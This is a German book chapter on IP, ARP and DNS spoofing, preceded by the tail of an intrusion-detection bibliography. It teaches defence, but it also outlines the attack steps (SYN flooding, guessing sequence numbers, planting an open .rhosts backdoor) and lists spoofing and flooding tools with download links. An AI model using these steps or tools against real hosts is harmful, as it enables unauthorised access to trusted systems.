Intrusion Detection for Network Infrastructures. S. Cheung, K. N. Levitt und C. Ko. 1995 IEEE
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A. Prodromidis. 4th ACM Computer and Communications Security Conference. 1997.
http://www.cs.columbia.edu/~sal/hpapers/acmpaper.ps.gz
Detecting Unusual Program Behavior Using the Statistical Component of the Next-Generation Intrusion
Detection Expert System (NIDES). Debra Anderson, Teresa F. Lunt, Harold Javitz, Ann Tamaru und
Alfonso Valdes. SRI-CSL-95-06. Mai 1995. (Nur in gedruckter Fassung erhältlich.) Zusammenfassung:
http://www.csl.sri.com/tr-abstracts.html#csl9506
Intrusion Detection Systems (IDS): A Survey of Existing Systems and a Proposed Distributed IDS
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A Methodology for Testing Intrusion Detection Systems. N. F. Puketza, K. Zhang, M. Chung, B.
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1996. http://seclab.cs.ucdavis.edu/papers/tse96.ps
GrIDS - A Graph-Based Intrusion Detection System for Large Networks. S. Staniford-Chen, S. Cheung,
R. Crawford, M. Dilger, J. Frank, J. Hoagland, K. Levitt, C. Wee, R. Yip und D. Zerkle. The 19th
National Information Systems Security Conference. http:// seclab.cs.ucdavis.edu/papers/nissc96.ps
NetKuang - A Multi-Host Configuration Vulnerability Checker. D. Zerkle und K. Levitt. Proceedings of
the 6th Usenix Security Symposium. San Jose, CA. 1996. http:// seclab.cs.ucdavis.edu/papers/zl96.ps
Simulating Concurrent Intrusions for Testing Intrusion Detection Systems: Parallelizing Intrusions. M.
Chung, N. Puketza, R. A. Olsson und B. Mukherjee. Proceedings of the 1995 National Information
Systems Security Conference. Baltimore, MD. 1995. http:// seclab.cs.ucdavis.edu/papers/cpo95.ps
Holding Intruders Accountable on the Internet. S. Staniford-Chen und L.T. Heberlein. Proceedings of the
1995 IEEE Symposium on Security and Privacy, Oakland, CA. 8-10, Mai 1995.
http://seclab.cs.ucdavis.edu/~stanifor/papers.html
Machine Learning and Intrusion Detection: Current and Future Directions. J. Frank. Proceedings of the
17th National Computer Security Conference, Oktober 1994. http://
seclab.cs.ucdavis.edu/~frank/mlid.html
Angriffsebenen
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Another Intrusion Detection Bibliography. http://doe-is.llnl.gov/nitb/refs/bibs/ bib1.html
Intrusion Detection Bibliography. http://www.cs.purdue.edu/coast/intrusion-detection/ ids_bib.html
Bibliography on Intrusion Detection. The Collection of Computer Science Bibliographies.
http://src.doc.ic.ac.uk/computing/bibliographies/Karlsruhe/Misc/intrusion.detection.html
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26
Spoofing-Attacken
In diesem Kapitel lernen Sie etwas über Spoofing-Attacken: wie sie durchgeführt werden und wie Sie sie
verhindern können.
26.1 Was ist Spoofing?
Spoofing läßt sich in einem Satz beschreiben: Es ist die fortgeschrittene Technik der Fälschung von
Daten auf einem Netzwerk durch Vortäuschung einer falschen Absenderadresse, oft mit der Absicht,
durch die gefälschte Absenderadresse authentifiziert zu werden.
An dieser Definition können Sie schon erkennen, daß Spoofing ein recht komplizierter Prozeß ist. Aber
keine Sorge: Am Ende dieses Kapitels werden Sie verstanden haben, wie Spoofing funktioniert und wie
Sie es verhindern können.
26.2 Grundprinzipien der Internet-Sicherheit
Es gibt zwei Grundbegriffe bei der Internet-Sicherheit:
Vertrauen
Authentifizierung
Vertrauen ist die Beziehung zwischen Rechnern, die autorisiert sind, sich miteinander zu verbinden.
Authentifizierung ist der Prozeß, den diese Rechner verwenden, um sich gegenseitig zu identifizieren.
Vertrauen und Authentifizierung stehen normalerweise im umgekehrten Verhältnis zueinander. D.h.,
wenn zwischen Rechnern ein hohes Vertrauen herrscht, ist keine strenge Authentifizierung erforderlich.
Wenn andererseits wenig oder kein Vertrauen zwischen den Systemen besteht, ist eine rigorose
Authentifizierung vonnöten.
Das sind eigentlich ganz ähnliche Regeln wie die, nach denen sich Menschen verhalten. Wenn z.B. Ihr
bester Freund an Ihrer Haustür klingelt, lassen Sie ihn gleich herein. Warum auch nicht? Sie vertrauen
ihm ja. Wenn jedoch ein Fremder anklopfen würde, würden Sie schon gerne zuerst wissen, um wen es
sich handelt, bevor Sie ihn hereinlassen.
Spoofing-Attacken
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26.2.1 Authentifizierungsmethoden
Obwohl Sie es vielleicht gar nicht realisieren, werden Sie ständig authentifiziert. So müssen Sie
wahrscheinlich bei den folgenden Diensten einen Benutzernamen und ein Paßwort angeben, um sie
nutzen zu können:
Ihrem Internet-Zugang
FTP-Sites
Telnet-Dienste und Shell-Accounts
Heutzutage fordern auch die meisten abonnierten Web-Sites einen Benutzernamen und ein Paßwort an.
Sie werden jeden Tag ziemlich rigoros authentifiziert. Ihnen ist klar, was das bedeutet? Das Internet
vertraut Ihnen nicht!
Die Authentifizierung von Menschen beinhaltet also ein Paßwort-Schema. (Einige Modelle verwenden
einfache Benutzername/Paßwort-Schemata, während andere komplexer sind, wie z.B. auf
Einmalpaßwörtern basierende Challenge-Response-Systeme. Das Resultat ist jedoch dasselbe - entweder
hat der Benutzer das korrekte Paßwort oder nicht.)
Rechner können auf andere Weise authentifiziert werden, je nach ihrer Vertrauensstellung. Z.B. kann ein
Rechner durch seinen Hostnamen oder seine IP-Adresse authentifiziert werden. Die Verwendung von
RHOSTS-Einträgen ist ein übliches Verfahren, um dies zu realisieren.
26.2.2 RHOSTS
Das RHOSTS-System kann verwendet werden, um eine Vertrauensbeziehung zwischen Rechnern
herzustellen. In der Solaris-Man-Page wird dies so beschrieben:
Die Dateien /etc/hosts.equiv und .rhosts bilden die Datenbank zur
»Fern-Authentifizierung« für rlogin(1), rsh(1), rcp(1) und rcmd(3N). Die Dateien
spezifizieren entfernte Hosts und Benutzer, die als »vertrauenswürdig« angesehen werden.
Vertrauenswürdige Benutzer erhalten ohne Angabe eines Paßworts Zugriff auf das lokale
System.
Hinweis:
hosts.equiv-Dateien sind im wesentlichen .rhost-Konfigurationsdateien für das gesamte System. Diese
werden von Root gesetzt und gelten für den gesamten Host. .rhosts-Dateien sind dagegen
benutzerbasiert und gelten nur für bestimmte Benutzer und Verzeichnisse. (Deshalb sollte Benutzern
nicht erlaubt sein, ihre eigenen .rhosts-Dateien zu erzeugen. Diese öffnen im ganzen System kleine
Sicherheitslöcher.)
Eine .rhosts-Datei könnte z.B. so aussehen:
node1.sams.hacker.net hickory
node2.sams.hacker.net dickory
node3.sams.hacker.net doc
node4.sams.hacker.net mouse
Spoofing-Attacken
file:///d|/cool stuff/old/hack/kap26.htm (2 von 14) [19.04.2000 21:15:38]
Diese Datei legt fest, daß den vier angegebenen Rechnern (und den Benutzern hickory, dikkory , doc und
mouse) vertraut wird. Diese können über die r-Utilities auf das lokale System zugreifen, ohne eine
Paßwort-Authentifizierung durchlaufen zu müssen.
Um diesen Prozeß zu vervollständigen (und eine bidirektionale Vertrauensbeziehung herzustellen)
müssen auch auf den vier Rechnern jeweils die entsprechenden rhost-Einträge vorgenommen werden.
Hinweis:
Zu den r-Utilities zählen folgende Anwendungen:
· rlogin - remote login. Dies funktioniert auf ähnliche Weise wie Telnet und bietet eine entfernte
Login-Sitzung an.
· rsh - remote shell. Dies ermöglicht den Benutzern, Shell-Befehle auf dem entfernten Rechner
auszuführen.
· rcp - remote file copy. Benutzer können mit Hilfe dieses Utilities Dateien von lokalen auf entfernte
Rechner kopieren und umgekehrt. rcp basiert auf rsh.
· rcmd - remote command. Dies ermöglicht privilegierten Benutzern, Befehle auf entfernten Hosts
auszuführen.
Alle vier r-Utilities verwenden die Schemata aus /etc/hosts.equiv oder .rhosts zur Überprüfung der
Vertrauensstellung. Wenn diese Dateien leer sind oder gar nicht existieren, bestehen keine
Vertrauensbeziehungen, und somit kann auch keine Spoofing-Attacke (dieser Art) ausgeführt werden.
Die zum Zeitpunkt der Verbindung durchgeführte Authentifizierung basiert einzig und allein auf der
IP-Adresse der Quelle. Es ist bekannt, daß dieses Modell fehlerhaft ist, wie Steve M. Bellovin in
»Security Problems in the TCP/IP Protocol Suite« erläutert:
Wenn es verfügbar ist, ist der am einfachsten auszunutzende Mechanismus das IP-
Source-Routing. Angenommen, der Zielhost verwendet die umgekehrte Source-Route, die in
einer TCP-Anforderung für Return-Traffic zur Verfügung gestellt worden ist... Der
Angreifer kann sich dann jede gewünschte IP-Adresse aussuchen, einschließlich der Adresse
eines vertrauenswürdigen Rechners im lokalen Netzwerk des Zielsystems.
Wegweiser:
»Security Problems in the TCP/IP Protocol Suite« von Steve M. Bellovin finden Sie unter
ftp://ftp.research.att.com/dist/internet_security/ ipext.ps.Z.
Bis jetzt haben wir folgendes festgestellt:
Vertrauen und Authentifizierung stehen im umgekehrten Verhältnis zueinander; mehr Vertrauen
bedeutet weniger strenge Authentifizierung.
Die anfängliche Authentifizierung basiert bei Vertrauensbeziehungen auf der Quelladresse.
Die Authentifizierung mit IP-Quelladressen ist nicht zuverlässig, weil IP-Adressen (und die
meisten Felder eines IP-Headers) gefälscht werden können.
Eine Vertrauensstellung irgendeiner Art muß existieren, damit eine Spoofing-Attacke ausgeübt
Spoofing-Attacken
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werden kann.
Sie können sich jetzt wahrscheinlich denken, warum IP-Spoofing in der Cracker-Szene einen Kultstatus
erreicht hat. Die meisten Angriffe beruhten früher auf Paßwortschemata; ein Cracker hat die Datei
/etc/passwd gestohlen und sie geknackt. Dann setzte er seine Arbeit fort, nachdem er das Root-Paßwort
(und mindestens einen Benutzernamen mit Paßwort) herausgefunden hatte. Beim Spoofing werden
jedoch während des Angriffs weder ein Benutzername noch ein Paßwort übermittelt. Die
Sicherheitsverletzung erfolgt sehr diskret.
26.3 Die Technik einer Spoofing-Attacke
Die bloße Tatsache, daß die Authentifizierung mit Quelladressen Schwachstellen hat, macht noch kein
IP-Spoofing möglich. Denn der Aufbau einer Verbindung erfordert mehr als nur die richtige IP-Adresse.
Dazu ist ein vollständiger, bestätigter Dialog zwischen den Rechnern nötig.
Sie können den Vorgang besser verstehen, wenn wir ihn in die folgenden Schritte unterteilen:
IP ist für den Pakettransport verantwortlich. Der durch IP durchgeführte Paktettransport ist
unzuverlässig; d.h. es gibt keine absolute Garantie dafür, daß Pakete unbeschädigt und intakt
ankommen. (Pakete können z.B. verlorengehen, verfälscht werden usw.) Der entscheidende Punkt
dabei ist: IP leitet die Pakete nur von Punkt A zu Punkt B. Deshalb besteht der erste Schritt eines
Verbindungsaufbaus darin, daß die Pakete intakt bei dem richtigen Host ankommen.
Sobald die Pakete angekommen sind, übernimmt TCP die Angelegenheit. TCP ist zuverlässiger
und hat Möglichkeiten zur Überprüfung, ob die Pakete intakt sind und ordnungsgemäß
transportiert werden. Jedes einzelne Paket wird überprüft. Zum Beispiel bestätigt TCP zuerst den
Erhalt eines Pakets und sendet dann eine Nachricht zur Verifizierung, daß es korrekt erhalten und
verarbeitet wurde.
Die Fehlerprüfung von TCP erfolgt sequentiell. Wenn fünf Pakete gesendet werden, werden die Pakete 1,
2, 3, 4 und 5 in der Reihenfolge bearbeitet, in der sie erhalten worden sind. Jedem Paket wird zu seiner
Kennzeichnung eine Nummer zugewiesen. Beide Hosts verwenden diese Nummer zur Fehlerprüfung und
Berichterstattung.
In seinem Artikel »Sequence Number Attacks« hat Rik Farrow die Benutzung von Sequenznummern
erläutert:
Die Sequenznummer wird verwendet, um den Erhalt der Daten zu bestätigen. Am Anfang
einer TCP-Verbindung sendet der Client ein TCP-Paket mit einer Anfangssequenznummer,
aber keine Bestätigung (da es noch keine geben kann). Wenn am anderen Ende der
Verbindung eine Server-Applikation läuft, sendet der Server ein TCP- Paket mit seiner
eigenen Anfangssequenznummer aus und einer Bestätigung: die Anfangssequenznummer
des Pakets vom Client plus eins. Wenn das Client-System dieses Paket erhält, muß es seine
eigene Bestätigung zurücksenden: die Anfangssequenznummer des Servers plus eins. Also
sind drei Pakete erforderlich, um eine TCP- Verbindung herzustellen....
Wegweiser:
Spoofing-Attacken
file:///d|/cool stuff/old/hack/kap26.htm (4 von 14) [19.04.2000 21:15:38]
»Sequence Number Attacks« von Rik Farrow finden Sie online unter http://
www.madness.org/hack/docs/sequence_attacks.txt.
Der Angreifer sieht sich mit zwei Problemen konfrontiert. Erstens muß er die Quelladresse fälschen, und
zweitens muß er einen Sequenzdialog mit dem Zielrechner führen. Diese zweite Aufgabe macht den
Angriff so kompliziert, da dies kein willkürlicher Dialog ist. Das Ziel legt die Anfangssequenznummer
fest, und der Angreifer muß mit der korrekten Antwort reagieren.
Das Komplizierte daran ist, daß der Angreifer die korrekte Antwort erraten muß, da er nie wirkliche
Pakete von dem Zielrechner erhält. Robert Morris erläutert dies in seinem Artikel »A Weakness in the
4.2BSD UNIX TCP/IP Software« folgendermaßen:
4.2BSD hat eine globale Anfangssequenznummer, die jede Sekunde um 128 erhöht wird, und
um 64, nachdem jede Verbindung gestartet worden ist; jede neue Verbindung beginnt mit
dieser Nummer. Wenn ein SYN-Paket mit einer gefälschten Adresse von einem Host
gesendet wird, wird der Zielhost die Antwort natürlich an den Host senden, den er als die
Quelle vermutet, und nicht an den Host, der die Adresse gefälscht hat. Dieser muß daher
herausfinden oder erraten, welche Sequenznummer dieses verlorengegangene Paket hatte,
um es bestätigen zu können und den Ziel-TCP- Port in den Zustand ESTABLISHED
(Verbindung hergestellt) zu versetzen.
Wegweiser:
Morris' Artikel finden Sie unter ftp://ftp.research.att.com/dist/
internet_security/117.ps.Z.
Da das alles vielleicht ein bißchen verwirrend ist, möchte ich Ihnen den Vorgang noch einmal an einem
fiktiven Beispiel erklären. Nehmen wir einmal folgendes an:
Der Cracker weiß, daß die Hosts 207.171.0.111 und 199.171.190.9 eine Vertrauensbeziehung
haben.
Er plant einen Einbruch in 207.171.0.111.
Um dies zu tun, muß er sich als 199.171.190.9 ausgeben.
Um sich als 199.171.190.9 auszugeben, täuscht er diese Adresse vor.
Das Problem ist, daß alle Antworten von 207.171.0.111 an 199.171.190.9 geleitet werden (und nicht an
den Rechner des Crackers). Deshalb kann der Cracker den Paketverkehr nicht sehen. Er fährt sozusagen
blind.
Diese Situation legt dem Cracker ein ernstzunehmendes Hindernis in den Weg. Was passiert, wenn
199.171.190.9 auf die Pakete des Ziels antwortet, während der Cracker noch dabei ist, seinen Angriff
durchzuführen? Das würde die ganze Operation gefährden. Deshalb muß der Cracker noch eine letzte
Vorbereitung treffen, bevor er mit dem eigentlichen Angriff beginnt: Er muß 199.171.190.9 lahmlegen.
Hinweis:
Spoofing-Attacken
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199.171.190.9 lahmzulegen ist einfach. Dazu setzt der Cracker 199.171.190.9 einer syn-flood-Attacke
aus. Diese bombardiert 199.171.190.9 mit Verbindungsanforderungen, so daß dieser Rechner zeitweilig
nicht mehr in der Lage sein wird, ankommende Verbindungsanforderungen zu bearbeiten. (Das
funktioniert aufgrund der Art und Weise, wie die Verbindungsanforderungen bearbeitet werden.
Jedesmal, wenn eine Verbindungsanforderung erhalten wird, versucht das Ziel, den dreistufigen
Handshake zu vervollständigen. Schließlich läuft die vorgegebene Zeitspanne für die Anforderung ab,
und das Ziel versucht, die nächste Anforderung zu bearbeiten. Alle Verbindungsanforderungen werden
in der Reihenfolge bearbeitet, in der sie empfangen werden. Wenn das Ziel also mit Hunderten solcher
Anfragen bombardiert wird, verstreicht einige Zeit, bis dieser Host neue Verbindungsanfragen
bearbeiten kann.)
An dieser Stelle will ich noch einmal rekapitulieren, was ich bis jetzt geschildert habe.
26.4 Schritte einer erfolgreichen Spoofing-Attacke
Dies sind die wesentlichen Schritte, die unternommen werden müssen:
Der Cracker muß seine Ziele identifizieren.
Er muß den Host lahmlegen, als der er sich ausgeben will.
Er muß die Adresse des Hosts vortäuschen, als der er sich ausgeben will.
Er muß sich mit dem Ziel verbinden, indem er sich als der lahmgelegte Host ausgibt.
Er muß die korrekte Sequenznummer erraten, die von dem Ziel verlangt wird.
26.5 Erraten der Sequenznummer
Die ersten vier Schritte sind einfach. Der schwierige Teil ist das Erraten der korrekten Sequenznummer.
Dazu muß der Cracker einen Testlauf durchführen:
Er kontaktiert das Ziel und fordert eine Verbindung an.
Das Ziel antwortet mit einer Reihe von Sequenznummern.
Der Cracker protokolliert diese Sequenznummern und kappt die Verbindung.
Als nächstes untersucht der Cracker die aufgezeichneten Sequenznummern, die er vom Zielrechner
erhalten hat. Bei seiner Analyse versucht er, ein Muster zu erkennen. Er weiß z.B., daß diese
Sequenznummern einheitlich durch einen Algorithmus inkrementiert werden, der speziell zu diesem
Zweck entwickelt wurde. Seine Aufgabe ist es nun, diesen Algorithmus herauszufinden oder zumindest
die Zahlenwerte, um welche die Nummern inkrementiert werden. Sobald er dies herausgefunden hat,
kann er zuverlässig vorhersagen, welche Sequenznummern für die Authentifizierung erforderlich sind.
Jetzt ist er bereit, seine Spoofing-Attacke zu starten. Insgesamt ist Spoofing eine außergewöhnliche
Technik. Noch außergewöhnlicher ist jedoch, daß den Sicherheitsexperten bereits seit 1985 bekannt ist,
daß Spoofing möglich ist.
Spoofing-Attacken
file:///d|/cool stuff/old/hack/kap26.htm (6 von 14) [19.04.2000 21:15:38]
26.5.1 Öffnen eines geeigneteren Sicherheitslochs
Sobald die Verbindungs- und Authentifizierungsverfahren abgeschlossen sind, muß der Cracker sich ein
geeigneteres Loch suchen, um in das System einzudringen. (Er sollte nicht jedesmal auf Spoofing
angewiesen sein, wenn er eine Verbindung herstellen will.) Deshalb baut er sich sein eigenes Loch. Die
einfachste Methode ist, die Datei .rhosts so umzuschreiben, daß das nun offengelegte System
Verbindungen von jeder Quelle akzeptiert, ohne eine zusätzliche Authentifizierung zu verlangen.
Sobald dies erledigt ist, kappt der Cracker die Verbindung und verbindet sich erneut. Jetzt kann er sich
ohne Paßwort einloggen und hat freien Zutritt zu dem System.
26.5.2 Wer kann Opfer einer Spoofing-Attacke werden?
IP-Spoofing kann nur gegen Systeme angewendet werden, auf denen bestimmte Dienste laufen. Viele
Unix-Arten sind vielversprechende Ziele. (Das soll jedoch nicht den Eindruck vermitteln, daß
Nicht-Unix-Systeme nicht durch Spoofing-Attacken verwundbar seien. Darüber schreibe ich später in
diesem Kapitel noch etwas.)
Von den folgenden Konfigurationen und Diensten ist bekannt, daß sie angreifbar sind:
Jedes System mit Sun RPC
Jeder Netzwerkdienst, der IP-Adreßauthentifizierung verwendet
Das X-Window-System von MIT, wenn host-basierte Authentifizierung verwendet wird.
Die r-Utilities
Um dies zu relativieren, sollten Sie folgendes bedenken: Die meisten Netzwerke verwenden IP-basierte
Authentifizierung, und obwohl RPC, X und die r-Utilities Probleme für Unix- basierte Betriebssysteme
aufwerfen, sind auch andere Betriebssysteme nicht immun.
Windows NT z.B. ist ebenfalls anfällig für Sequenznummer-Attacken. Sitzungen können durch Erraten
der TCP-Sequenznummer »entführt« werden. Im Grunde ist dies ein Spoofing-Problem. Es betrifft eine
Vielzahl von Netzwerkdiensten, nicht nur RPC. Es betrifft sogar Net-Bios- und SMB-Verbindungen.
Exploit-Code für den Angriff finden Sie hier:
http://www.engarde.com/software/seqnumsrc.c
Wegweiser:
Sun RPC bezieht sich auf Sun Microsystems' Standard für Remote Procedure Calls, die es Benutzern
ermöglichen, Systemaufrufe auszugeben, die transparent über Netzwerke hinweg funktionieren. Das
RFC, das sich mit RPC beschäftigt, hat den Titel »RPC: Remote Procedure Call Protocol
Specification«, und Sie finden es unter http://info.internet.isi.edu:80/in-notes/ rfc/files/rfc1057.txt.
26.5.3 Wie verbreitet sind Spoofing-Attacken?
Früher kamen Spoofing-Attacken selten vor. Seit Januar 1995 traten sie jedoch verstärkt auf. Im Defense
Data Network Advisory vom Juli 1995 heißt es:
Spoofing-Attacken
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ASSIST hat Informationen über eine Vielzahl kürzlich erfolgter Spoofing-Attacken erhalten,
die gegen Internet-Sites auf der ganzen Welt gerichtet waren. Ein Großteil der Zielsysteme
von IP-Spoofing-Attacken sind Name-Server, Router und andere Netzwerkbetriebssysteme,
und die Angriffe waren größtenteils erfolgreich.
Wegweiser:
Das DDN-Bulletin finden Sie online unter ftp://nic.ddn.mil/scc/sec- 9532.txt.
Vor 1995 war Spoofing eine sehr basisnahe Attacke. Jeder, der einen Spoof probieren wollte, mußte ein
sehr gutes Hintergrundwissen über TCP/IP, Sockets und Netzwerkprogrammierung im allgemeinen
haben. Das ist heute nicht mehr so.
Als bewiesen war, daß Spoofing tatsächlich funktioniert (vorher war es nur Theorie), machte
Spoofing-Code sofort die Runde. Heute sind vorgefertigte Spoofing-Utilities an jeder Ecke erhältlich. In
den folgenden Abschnitten stelle ich Ihnen einige davon vor.
ipspoof
Autor: unbekannt
Sprache: C
Kompilierungsplattform: Unix
Ziel-Plattform: Unix
Voraussetzungen: C-Compiler, IP-Header-Dateien, Unix
URL: http://www.rootshell.com/archive-j457nxiqi3gq59dv/199707/ipspoof.c
rbone
Autor: unbekannt
Sprache: C
Kompilierungsplattform: Linux
Ziel-Plattform: Unix
Voraussetzungen: C-Compiler, IP-Header-Dateien, Linux
URL: http://www.net-security.sk/network/spoof/rbone.tar.gz
synk4.c (Syn Flooder von Zakath)
Autor: Zakath mit Ultima
Sprache: C
Kompilierungsplattform: Linux
Spoofing-Attacken
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Ziel-Plattform: Unix
Voraussetzungen: C-Compiler, IP-Header-Dateien, Linux
URL: http://www.rat.pp.se/hotel/panik/archive/synk4.c
1644
Autor: Vasim V.
Sprache: C
Kompilierungsplattform: FreeBSD
Ziel-Plattform: Unix
Voraussetzungen: C-Compiler, IP-Header-Dateien, FreeBSD
URL: http://users.dhp.com/~fyodor/sploits/ttcp.spoofing.problem.html
Spoofit
Autor: Brecht Claerhout
Sprache: C
Kompilierungsplattform: Linux
Ziel-Plattform: Unix
Voraussetzungen: C-Compiler, IP-Header-Dateien, Linux 1.3 oder höher
URL: http://www.asmodeus.com/archive/IP_toolz/SPOOFIT.H
Hinweis:
Es gibt auch ein UDP-Spoofing-Utility. Um es auszuprobieren, können Sie es sich von folgender Site
herunterladen: http://www.asmodeus.com/archive/IP_toolz/ARNUDP.C .
26.6 Dokumente, die sich speziell mit IP-Spoofing
beschäftigen
Es gibt viele Dokumente im Web, die sich mit IP-Spoofing beschäftigen. Ich kann Ihnen folgende
empfehlen:
A Weakness in the 4.2BSD UNIX TCP/IP Software. Robert T. Morris. Technical Report, AT&T Bell
Laboratories. ftp://research.att.com/dist/internet_security/117.ps.Z.
Sequence Number Attacks. Rik Farrow. (UnixWorld.) http://www.madness.org/hack/docs/
Spoofing-Attacken
file:///d|/cool stuff/old/hack/kap26.htm (9 von 14) [19.04.2000 21:15:38]
sequence_attacks.txt.
Security Problems in the TCP/IP Protocol Suite. Steve Bellovin. ftp://research.att.com/
dist/internet_security/ipext.ps.Z.
Defending Against Sequence Number Attacks. S. Bellovin; Request for Comments: 1948. AT&T
Research. Mai 1996. http://info.internet.isi.edu:80/in-notes/rfc/files/ rfc1057.txt.
A Short Overview of IP Spoofing. Brecht Claerhout. http://www.unitedcouncil.org/c/IP- spoof.txt.
(Ausgezeichnete Behandlung des Themas durch einen Freelancer.)
Internet Holes - Eliminating IP Address Forgery. Management Analytics. http://
solaris1.mysolution.com/~rezell/files/text/ipaddressforgery.txt.
Firewalls Mail Archive Discussion on IP Spoofing. Verschiedene Autoren. http://
solaris1.mysolution.com/~rezell/files/text/spoofing.txt.
Ask Woody about Spoofing Attacks. Bill Woodcock von Zocalo Engineering. http://
www.netsurf.com/nsf/v01/01/local/spoof.html.
IP-Spoofing Demystified Trust-Relationship Exploitation. route@infonexus.com (Michael Schiffman).
http://www.fc.net/phrack/files/p48/p48-14.html.
TCP SYN Flooding and IP Spoofing Attacks. (Konfiguration von Filtern für Telebit-Produkt.)
http://www.telebit.com/SupporT/tcpflood.html.
26.6.1 Wie kann ich Spoofing-Attacken verhindern?
Indem Sie Ihr Netzwerk so konfigurieren, daß es Pakete aus dem Internet abweist, die angeblich von
einer lokalen Adresse stammen. Dies geschieht auf Router-Ebene.
Hinweis:
Obwohl Router eine Lösung des allgemeinen Spoofing-Problems darstellen, arbeiten auch sie auf
Grundlage der Untersuchung der Quelladresse. Deshalb können sie nur vor ankommenden Paketen
schützen, die vortäuschen, aus Ihrem internen Netzwerk zu kommen. Wenn Ihr Netzwerk (aus
unerfindlichen Gründen) fremden Hosts vertraut, können Router nicht vor einer Spoofing-Attacke
schützen, die durch die Vortäuschung der Adresse eines solchen Hosts erfolgt.
Es gibt mehrere Produkte, die Anti-Spoofing-Technologien beinhalten. Hier sind einige davon:
Aventail MobilVPN. Bei Aventails Virtual Private Network basiert die Authentifizierung auf
Benutzern statt auf IP-Adressen. http://www.aventail.com/educate/whitepaper/vpnwp.html .
NetVision Synchronicity for Windows NT. Die Synchronicity-Produktreihe bietet eine
gleichzeitige Verwaltung von NDS- und NT-Objekten und -Systemen. Eine
Anti-Spoofing-Unterstützung ist integriert. http://www.netvisn.com/info/whitep04.htm.
Cisco PIX Firewall. PIX ist Ciscos Hauptprodukt für Internet BXsecurity und ist eine ausgereifte
Firewall mit eingebauten Anti-Spoofing-Möglichkeiten.
Spoofing-Attacken
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http://www.cisco.com/warp/public/751/pix/literature.shtml .
Einige Produkte können auch testen, wie verletzbar Ihr Netzwerk für Spoofing-Attacken ist. Internet
Security Systems (ISS), http://iss.net/, bietet eine Testversion an, die man auf einem einzelnen lokalen
Host verwenden kann. (In Kapitel 10, »Scanner«, finden Sie noch weitere Scanner, die diese Diagnose
durchführen.)
Warnung:
Auch eine Firewall schützt Sie nicht automatisch vor Spoofing-Attacken. Wenn Sie erlauben, daß
interne Adressen durch den äußeren Teil der Firewall zugreifen können, sind Sie immer noch
verwundbar. Außerdem haben Sie ein Problem, wenn Ihre Firewall Proxies hat, die ihre
Authentifizierung auf Grundlage der IP-Adresse vornehmen. (Diese Art der Authentifizierung
unterscheidet sich nicht von anderen Arten der IP-basierten Authentifizierung.)
Eine weitere vorbeugende Maßnahme ist die genaue Überwachung Ihres Netzwerks. Versuchen Sie,
Pakete zu identifizieren, die vorgeben, aus Ihrem Netzwerk zu stammen, und dennoch versuchen, durch
die Firewall oder die erste Netzwerkschnittstelle Eintritt zu erhalten, der sie in Ihrem Netz begegnen. Der
folgende Abschnitt ist ein Auszug aus dem Defense Information System Network Security Bulletin
#95-29. Sie finden es unter ftp:// nic.ddn.mil/scc/sec-9532.txt.
Es gibt mehrere Arten von Paketen, nach denen Sie Ausschau halten sollten. Das simpelste
ist jedes TCP-Paket, bei dem der Netzwerkteil (Klasse A, B oder C oder ein Präfix und eine
Länge wie durch die Classless-Inter-Domain-Routing(CIDR)-Spezifikation festgelegt) der
Quell- und Zieladressen derselbe ist, aber keine von Ihrem lokalen Netzwerk stammt. Diese
Pakete würden normalerweise nicht aus dem Quellnetzwerk gelangen, es sei denn, es gäbe
ein Routing-Problem, das weiter untersucht werden sollte, oder die Pakete stammten in
Wirklichkeit von einer Quelle außerhalb Ihres Netzwerks. Letzteres könnte auch bei
mobilem IP-Testen vorkommen, aber ein Angreifer, der die Quelladresse vortäuscht, ist der
weitaus wahrscheinlichere Fall.
Wenn Sie es sich leisten können, gibt es außerdem noch die Möglichkeit, Spoofing durch Protokollierung
(sogar in Echtzeit) aufzuspüren. Einen Vergleich von Verbindungen zwischen vertrauenswürdigen Hosts
durchzuführen, ist ein guter Anfang. Nehmen wir z.B. an, daß die Hosts A und B eine aktive Sitzung
haben. Normalerweise machen beide Angaben darüber, daß die Sitzung läuft. Wenn einer von beiden
dies nicht tut, ist eine Spoofing- Attacke im Gange.
26.6.2 Andere seltsame und ausgefallene Spoofing-Attacken
IP-Spoofing ist nur eine Form des Spoofing. Es gibt noch andere Spoofing-Techniken, darunter ARP-
und DNS-Spoofing. Wir wollen uns beide kurz ansehen.
26.7 ARP-Spoofing
ARP-Spoofing ist eine Technik, die den ARP-Cache ändert. Das funktioniert folgendermaßen: Der
ARP-Cache enthält Informationen über das Hardware-IP-Mapping. Sie behalten Ihre Hardware-Adresse
bei, geben aber vor, daß die IP-Adresse die eines vertrauenswürdigen Hosts ist. Diese Informationen
Spoofing-Attacken
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werden gleichzeitig an das Ziel und den Cache gesendet. Von diesem Zeitpunkt an werden Pakete vom
Ziel zu Ihrer Hardware-Adresse geleitet. (Das Ziel »glaubt« nun, Sie seien der vertrauenswürdige Host.)
Diese Art des Angriffs unterliegt jedoch mehreren Einschränkungen. Eine ist, daß der Trick schiefgehen
könnte, wenn intelligente Hubs oder Router passiert werden müssen. Deshalb funktioniert ARP-Spoofing
nur unter bestimmten Bedingungen zuverlässig, und selbst dann könnte es auf das lokale
Netzwerksegment beschränkt sein. Außerdem verlieren Cache-Einträge bei manchen Betriebssystemen
ziemlich schnell ihre Gültigkeit. Sie müssen also regelmäßig zurückgehen und die Cache-Einträge
aktualisieren, während Sie den Angriff ausüben.
Es gibt verschiedene Möglichkeiten, ARP-Spoofing zu verhindern. Eine ist, Ihre Adreß- Mappings in
Stein zu meißeln, was wiederum andere Nachteile hat. Paul Buis erläutert dies in »Names und
Addresses« so:
Viele Betriebssysteme haben jedoch Vorkehrungen dafür, die Einträge in dem ARP- Cache
»statisch« zu machen, so daß sie nicht alle paar Minuten ablaufen. Ich empfehle Ihnen,
diese Eigenschaft zur Abwehr von ARP-Spoofing zu benutzen. Allerdings müssen Sie dann
den Cache jedesmal manuell aktualisieren, wenn sich eine Hardware-Adresse ändert.
Wegweiser:
Das vollständige Dokument von Paul Buis finden Sie unter
http://www.cs.bsu.edu/homepages/peb/cs637/nameadd/.
Eine andere Möglichkeit ist die Verwendung von ARPWATCH. ARPWATCH ist ein Utility, das
Änderungen Ihrer IP/Ethernet-Mappings überwacht. Wenn Änderungen festgestellt werden, erhalten Sie
eine E-Mail, die Sie darüber informiert. (Außerdem werden die Informationen protokolliert, so daß Sie
den Angreifer leichter aufspüren können.) ARPWATCH bekommen Sie unter:
http://ftp.su.se/pub/security/tools/audit/arpwatch/arpwatch-1.7.tar.gz
Hinweis:
Um ARPWATCH zu verwenden, benötigen Sie Unix, C und AWK. (Das Utility ist nur als Quellcode
erhältlich.)
